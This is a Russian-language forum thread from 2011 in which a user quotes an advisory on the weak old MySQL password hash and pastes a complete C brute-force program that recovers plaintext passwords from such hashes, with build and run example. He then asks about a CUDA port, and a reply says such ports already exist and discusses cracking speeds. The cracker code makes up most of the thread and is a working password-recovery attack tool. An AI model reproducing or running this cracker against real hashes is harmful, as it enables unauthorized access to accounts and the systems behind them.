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3.14.by forum • Предложение по добавлению нового функционала.
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Предложение по добавлению нового функционала.

Posted: Mon Jan 10, 2011 9:00 pm
by casp3r
Добрый день.

Наткнулся на такую уязвимость mysql хеша:

Description:

MySQL is an open source relational database project. It is available for the Microsoft Windows, Linux, and Unix operating systems.

MySQL has been reported prone to a weak password encryption algorithm. It has been reported that the MySQL function used to encrypt MySQL passwords makes just one pass over the password and employs a weak left shift based cipher. The output of this function results in a password hash of low entropy. Due to the base complexity of the algorithm used to create the MySQL password hash, the hash may be cracked in little time using a bruteforce method to create an identical hash and thereby guess the clear text password.

An attacker may use information recovered in this way to aid in further attacks launched against the underlying system.

Вот реализация -

Code: Select all

/* MySQL Weak Password Encryption Brute Force
* Example:
* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
* $ mysqlfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;

while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 << 8);
xor2 = (state2 << 8) ^ state1;

for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;

newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d < MIN_CHAR || d > MAX_CHAR) continue;

div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e < MIN_CHAR || e > MAX_CHAR) continue;

pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}

while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
sum -= MAX_CHAR;
i--;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

return 0;
}

void crack(char *hash)
{
int i, len;
u32 targ1, targ2, targ3;
int pass[MAX_LEN];

if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
printf("Invalid password hash: %s\n", hash);
return;
}
printf("Hash: %08lx%08lx\n", targ1, targ2);
targ3 = targ2 - targ1;
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);

for (len = 3; len <= MAX_LEN; len++) {
printf("Trying length %d\n", len);
if ( crack0(len-4, targ1, targ3, pass) ) {
printf("Found pass: ");
for (i = 0; i < len; i++)
putchar(pass[i]);
putchar('\n');
break;
}
}
if (len > MAX_LEN)
printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
int i;
if (argc <= 1)
printf("usage: %s hash\n", argv[0]);
for (i = 1; i < argc; i++)
crack(argv[i]);
return 0;
}

Возможно ли реализация этого алгоритма с использованием CUDA??

Получилась бы ядреная смесь.

Re: Предложение по добавлению нового функционала.

Posted: Tue Jan 11, 2011 10:49 am
by Rolf
Табун нестриженых коней !
Такая программа уже делалась 2 раза - первый раз XSerg портировал этот код на CUDA в 2008.
А второй - Schwarzwaldhacker, взяв код XSerg'a, допилил, добавил скорости, пару флагов, и выпустил свою ломалку.
Да-с, скорости в 70Т п/с - на самом деле очень кошерные.
Нет ни одного алго, хэши которого могут так быстро брутиться.
Единственный минус прямого порта(или этой уязвимости вообще?), что если увеличить кол-во хэшей в два раза, скорость падает в 3.3 раза.
То есть, 1 хэш будет брутиться быстрее 4 хэшей в почти 11 раз.